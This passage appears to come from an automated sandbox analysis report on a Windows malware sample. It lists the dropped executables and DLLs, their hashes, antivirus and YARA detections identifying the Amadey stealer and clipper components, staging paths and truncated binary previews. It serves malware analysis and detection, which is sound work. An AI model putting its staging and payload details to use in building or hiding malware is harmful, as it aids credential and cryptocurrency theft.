Preview:	MDMP..a..... .......b.!f............d...............x.......l...\|(.......... ...........`.......8...........T............O...............(...........*..............................................................................eJ......l+......GenuineIntel............T...........G.!f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C28.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6362
Entropy (8bit):	3.726207201718666
Encrypted:	false
SSDEEP:	192:R6l7wVeJcuW6fpDrYiZFJJmiprv89bQ3sfaxQm:R6lXJU6hDrY6FJJmXQ8faz
MD5:	003B80B8851CE43385EA361A29362AFB
SHA1:	5C516C28466522714F32814BEB5BA95B6FFF81FD
SHA-256:	EF7322E8374B793F5011E0EF8B6DC19957EF5CEF553F748E27DFBB920924CFFE
SHA-512:	2613BD47BA6388E6E668969789F9ECBC715672F60BEAFF8D3063311485B5DF620B35D55664FF74D0BD595D56634EB89E5DBCB0E3EB35424A650AC1D3A988E014
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.5.8.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C58.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4690
Entropy (8bit):	4.508322871260051
Encrypted:	false
SSDEEP:	48:cvIwWl8zsYJg77aI97QWpW8VYXBYm8M4JBNFfsao+q8cOUDmbRC2sRd:uIjfeI7Bp7VwgJpno2UDmbRCxRd
MD5:	9B09719F8F69543A7A67517A1A40E2DA
SHA1:	D419A9FAE1196BBF9C2967E504E8A847E25A9065
SHA-256:	B9404551017C957369A74CC61117C459E9414B2D0D2134863473390EDB449E23
SHA-512:	3BEB46BC7714A6E4C9943095DCE8C93059D641E3C1A7FDD5D16F6F9CCF210908030E1D4E75FDC9AB2A4A51A39584C4766E686B0D9B19DF4DC49A6396829DCCAA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="285883" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBAF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8378
Entropy (8bit):	3.6999919435123174
Encrypted:	false
SSDEEP:	192:R6l7wVeJfiM6p6YhuE6Egmf4JJLoprL89ba8sff+m:R6lXJp6p6Yhl6Egmf4JJLJaPff
MD5:	5C300524D92AE934522D3F294C018C6E
SHA1:	9FED4DB96C5F4AE1D32B0F2B7CE4354CF19432E4
SHA-256:	CF9A01955C00819C53C636F0A1FBE0A9E275F07156BA68C1B21DC8158A6DEA41
SHA-512:	6F5A5D5E0306FCB45BB25AD5965C026CF98ABEDA115F584D5D4B77FFCD5FD7DA9A6DACF300C4B5A7630CFFACF5A579CB6B5C1790040C49446408467468EF6AF8
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC2D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4700
Entropy (8bit):	4.494848003960483
Encrypted:	false
SSDEEP:	48:cvIwWl8zsYJg77aI97QWpW8VYXwNYm8M4JxKFvx+q8AifDmbACg6d:uIjfeI7Bp7VwwMJk6fDmbACg6d
MD5:	176B4AA9594BBC166ECC15917B2536FE
SHA1:	14DAB9E4EF114D21A8889F61A709EC0FC9BE29AC
SHA-256:	CDABA881CD7CA203D46D3882DD757C0ED8D902080D6EA345F5CBC72A3740119C
SHA-512:	591983A82084E9E788D5F6DB7AA0D941EB070A936FCA45B525464E73C8F323B7D57660B8AB3B740A810ADB6767D5340AC12384622C6847F550E4BBE216286B63
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="285883" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF604.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Apr 18 21:40:42 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	263304
Entropy (8bit):	1.501980743852991
Encrypted:	false
SSDEEP:	768:fH4wTnW5vdFX1S1YgrmTrdC4QenLCOVX1upDH:fpWTXn6eLCOVlupDH
MD5:	09CE4576E481D30815E43574D74AAFF8
SHA1:	BE7CE874DA77ED4E3B680A520C8D4F5F0EF672DE
SHA-256:	C0A8E64F5F6A487FA8E8FABCABE40C5C88211114FA78E15819D939FF36DE1680
SHA-512:	07D47359F2964C2BAAD0349C95196D55E85AD54D1F94AEB58D9AB67BBD320E18BDE9D7A0D83B51357A53AF16800FB56E10F610FBF1E4F524F63B5EE997B5DF53
Malicious:	false
Preview:	MDMP..a..... .......Z.!f............d...........p...x.......l....(......................`.......8...........T............R..............T)..........@+..............................................................................eJ.......+......GenuineIntel............T...........?.!f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.03558032317191
Encrypted:	false
SSDEEP:	24576:zqDEvCTbMWu7rQYlBQcBiT6rprG8auP2+b+HdiJUX:zTvC/MTQYxsWR7auP2+b+HoJU
MD5:	76C779D2A6E42C6DBCFF43E67BB38CA3
SHA1:	558F8E6B714EFAEABA794E7D2B7821936A4DA077
SHA-256:	E820BE731929C621A94DE7BD83E0DA4796C103632961BDA20FFBD568279E6F43
SHA-512:	516D91D0E635F3468D135BF51F507FE3D81C1FB72C8BACCC08A0E7C05C6DCAEFD2816CA937CB2F8CA0AB8F4C8E78A2917B22DC10C289221E8450CFBA34BEBF3E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....!f..........".................w.............@..........................0.......!....@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1937408
Entropy (8bit):	7.951512343717333
Encrypted:	false
SSDEEP:	49152:dmhaJQo1P2Wr2EuLInK7rKm0wHx50Fsmj/+j9ApNLuO7Mhf:d+LuJfRnAnUsmzEy
MD5:	1ED78F44A2CAD6E08DA27EDBC701B4BC
SHA1:	E7A8BC103762DB81429B13497C065AC16CAC4B85
SHA-256:	20BD5A075CFEE256A6CC19803FB9964834590840ADA1212F7ECA0A9D990E8359
SHA-512:	3882675EADBC45A7B534C0EFC671551926BBC333275E03E8A4B23FDFC958AF231094B65855FCECCF6EC7C63EAD1AD1A21BF3853E95EB05ADCA093A7820C22244
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*R..n3.@n3.@n3.@5[.A`3.@5[.A.3.@.^.A\|3.@.^.Az3.@.^.A.3.@5[.Az3.@5[.A}3.@n3.@.3.@.].Ao3.@.]u@o3.@.].Ao3.@Richn3.@........................PE..L......e..............................L...........@...........................L...........@.................................Vp..j....`........................L...............................L..................................................... . .P..........................@....rsrc........`......................@....idata .....p......................@... ..+.........................@...mxcnarui..... 2..~..................@...nxgghrcb......L......j..............@....taggant.0....L.."...n..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460494158653329
Encrypted:	false
SSDEEP:	24576:IvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggky+yC7:IsMPSYcS5wPi095Pbg9y
MD5:	15A42D3E4579DA615A384C717AB2109B
SHA1:	22AEEDEB2307B1370CDAB70D6A6B6D2C13AD2301
SHA-256:	3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103
SHA-512:	1EB7F126DCCC88A2479E3818C36120F5AF3CAA0D632B9EA803485EE6531D6E2A1FD0805B1C4364983D280DF23EA5CA3AD4A5FCA558AC436EFAE36AF9B795C444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Joe Sandbox View:	Filename: tA6etkt3gb.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe, Detection: malicious, Browse Filename: l2ZKczbGRq.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.TrojanX-gen.1033.1898.exe, Detection: malicious, Browse Filename: a5PfQvvi4y.exe, Detection: malicious, Browse Filename: 4fMLTRkOfB.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.29871.25289.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.14048.7584.exe, Detection: malicious, Browse Filename: Yw502Cdx4o.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d...i..e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400158525810517
Encrypted:	false
SSDEEP:	3072:Q3uSD+ZwruS0bGcuZRt2sSZV/Q3IegRQod4l:AuTiabHuZRAFtlD4l
MD5:	726CD06231883A159EC1CE28DD538699
SHA1:	404897E6A133D255AD5A9C26AC6414D7134285A2
SHA-256:	12FEF2D5995D671EC0E91BDBDC91E2B0D3C90ED3A8B2B13DDAA8AD64727DCD46
SHA-512:	9EA82E7CB6C6A58446BD5033855947C3E2D475D2910F2B941235E0B96AA08EEC822D2DD17CC86B2D3FCE930F78B799291992408E309A6C63E3011266810EA83E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...j..e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400356358225577
Encrypted:	false
SSDEEP:	3072:D4uSD+ZwruS0bGYuZRtasSVh/QEIegRQod4l:kuTiabruZR8JSlD4l
MD5:	154C3F1334DD435F562672F2664FEA6B
SHA1:	51DD25E2BA98B8546DE163B8F26E2972A90C2C79
SHA-256:	5F431129F97F3D56929F1E5584819E091BD6C854D7E18503074737FC6D79E33F
SHA-512:	1BCA69BBCDB7ECD418769E9D4BEFC458F9F8E3CEE81FEB7316BB61E189E2904F4431E4CC7D291E179A5DEC441B959D428D8E433F579036F763BBAD6460222841
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L......e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\sarra[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2277888
Entropy (8bit):	7.95216777290233
Encrypted:	false
SSDEEP:	49152:ZeF1xn14NCu8Y58+1HPvO5h9GlTV3h1kKyNTff6PU:M1xn1G58+1Hmh9GlTz1FYf+U
MD5:	37C749E3EFDDFFF355E6FBC1090074DB
SHA1:	14CCD4CEFF782B3EC90E9CBEC1FA47AF75C0E399
SHA-256:	66FB44ABEA8AD51DB4988B33E7E2D765B4AB642CCF2BB9D808B961DB51422B17
SHA-512:	23BE75822B6A8FF0EEE8E56941D64E1E9EEB2958CA0C4008866CE5BB240DE79385C745DC5776AF4579D0F82EA0DE66F68A10C1AB0C55A319641198FFA10A9D57
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...H........W......P....@...........................W.....~.#...@.........................8.V.L...^...r....P......................(.V...............................V.............................t...@................... . .@.......>..................@....rsrc........P.......N..............@....idata ............................@... ..).. ......................@...dspczsrr......>.....................@...bhvulryj......W.......".............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460276790319054
Encrypted:	false
SSDEEP:	24576:2vkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggv4+yC7:2sMPSYcS5wPi095PbgS4
MD5:	F35B671FDA2603EC30ACE10946F11A90
SHA1:	059AD6B06559D4DB581B1879E709F32F80850872
SHA-256:	83E3DF5BEC15D5333935BEA8B719A6D677E2FB3DC1CF9E18E7B82FD0438285C7
SHA-512:	B5FA27D08C64727CEF7FDDA5E68054A4359CD697DF50D70D1D90DA583195959A139066A6214531BBC5F20CD4F9BC1CA3E4244396547381291A6A1D2DF9CF8705
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d......e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2327552
Entropy (8bit):	7.951651680625518
Encrypted:	false
SSDEEP:	49152:8eF1xn14/IbRdcpHdN1jmFdsNaWJXmAUvz3i+Cpcn7hhnLRU:l1xn1Fdc1nF0GNaWZmAmz3ihWdhnVU
MD5:	3709AD0A7007BCAE942B905A07BD6BBA
SHA1:	9D25192C841F3B2FB1B9BBB0DFDCEC6CDAACA3A7
SHA-256:	2248CAA741EC4D757C597091F2BAB56F694181EF5A677BDAB47D990E4C7F695A
SHA-512:	D41CBC49DED02909E0EAE68DA22988C36993BDE9DB4025F64D45007D2C47ED07A7CDC1A2B28AE1CB7ECB8D4C5169CB4084650ADADDB656CAF33B4E0AD85239FC
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...2........Y......P....@.......................... Y.....M.#...@..........................ZX.L...m........P......................ZX.............................@ZX.............................t...@................... . .@.......>..................@....rsrc.......P.......N..............@....idata ............................@... .@*.. ......................@...kiragzej.....`?.....................@...cquspnza......Y.......#.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul+/p:NllU+/
MD5:	A151AD2D3AE6CB08C7FF941515EBD22D
SHA1:	7E1F5E2B6910C465058382E6043FDE0C7C140F2B
SHA-256:	42A9AF556EF0F326CC87393BB6B95E3079A5395B8A85590591251A901EF7F699
SHA-512:	266D2404EBE03642506D754FB0E8EBCA6B6C7AFBF4F74B4D995859B39FEE4AA3CFC666734682772F666D3D3E0886F597852773653C251620CA751B1535830AD1
Malicious:	false
Preview:	@...e...............................4................@..........

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2327552
Entropy (8bit):	7.951651680625518
Encrypted:	false
SSDEEP:	49152:8eF1xn14/IbRdcpHdN1jmFdsNaWJXmAUvz3i+Cpcn7hhnLRU:l1xn1Fdc1nF0GNaWZmAmz3ihWdhnVU
MD5:	3709AD0A7007BCAE942B905A07BD6BBA
SHA1:	9D25192C841F3B2FB1B9BBB0DFDCEC6CDAACA3A7
SHA-256:	2248CAA741EC4D757C597091F2BAB56F694181EF5A677BDAB47D990E4C7F695A
SHA-512:	D41CBC49DED02909E0EAE68DA22988C36993BDE9DB4025F64D45007D2C47ED07A7CDC1A2B28AE1CB7ECB8D4C5169CB4084650ADADDB656CAF33B4E0AD85239FC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.....t...t...t._.w...t._.q...t._.s...t.......t...p...t...w...t...q.O.t._.p...t._.r...t._.u...t...u.4.t..\|}...t..\|t...t..\|....t......t..\|v...t.Rich..t.........PE..L......f...............'.4...2........Y......P....@.......................... Y.....M.#...@..........................ZX.L...m........P......................ZX.............................@ZX.............................t...@................... . .@.......>..................@....rsrc.......P.......N..............@....idata ............................@... .@*.. ......................@...kiragzej.....`?.....................@...cquspnza......Y.......#.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Download File

Process:	C:\Users\user\Desktop\UeW2b6mU6Z.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3102720
Entropy (8bit):	6.538476825951095
Encrypted:	false
SSDEEP:	49152:hrS87rJwyCOjzzXkKkuVVofoPEiNOlpRV1or6/mM4:hrv7CdOjzz0KkuYfoPbNWnLor6+M
MD5:	A0DE5117F2DB3409EEB42464B5C2E811
SHA1:	20300A63F6C8CCCE917110E53BD8D4F1A49407FC
SHA-256:	3ED276242A69770FE215A6CB9941F57E24EB2289635C65C54353FE62EA015E8E
SHA-512:	88C3D52902DD3ED6ACB8A525F944B481E8A4C3A7726AB8220E5C9B5981A6EE41F790C5F35323E902B63E9C2C924723AE301819130506906D32B54C334D46E5D3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L...o..e..............................3...... ....@..........................03......Z/...@.................................V...j.............................2.............................8.2..................................................... . ............................@....rsrc...............................@....idata ............................@...ldcfgzdi.@,......4,.................@...thopgwrw......2......2/.............@....taggant.0....3.."...6/.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\UeW2b6mU6Z.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000054001\amert.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
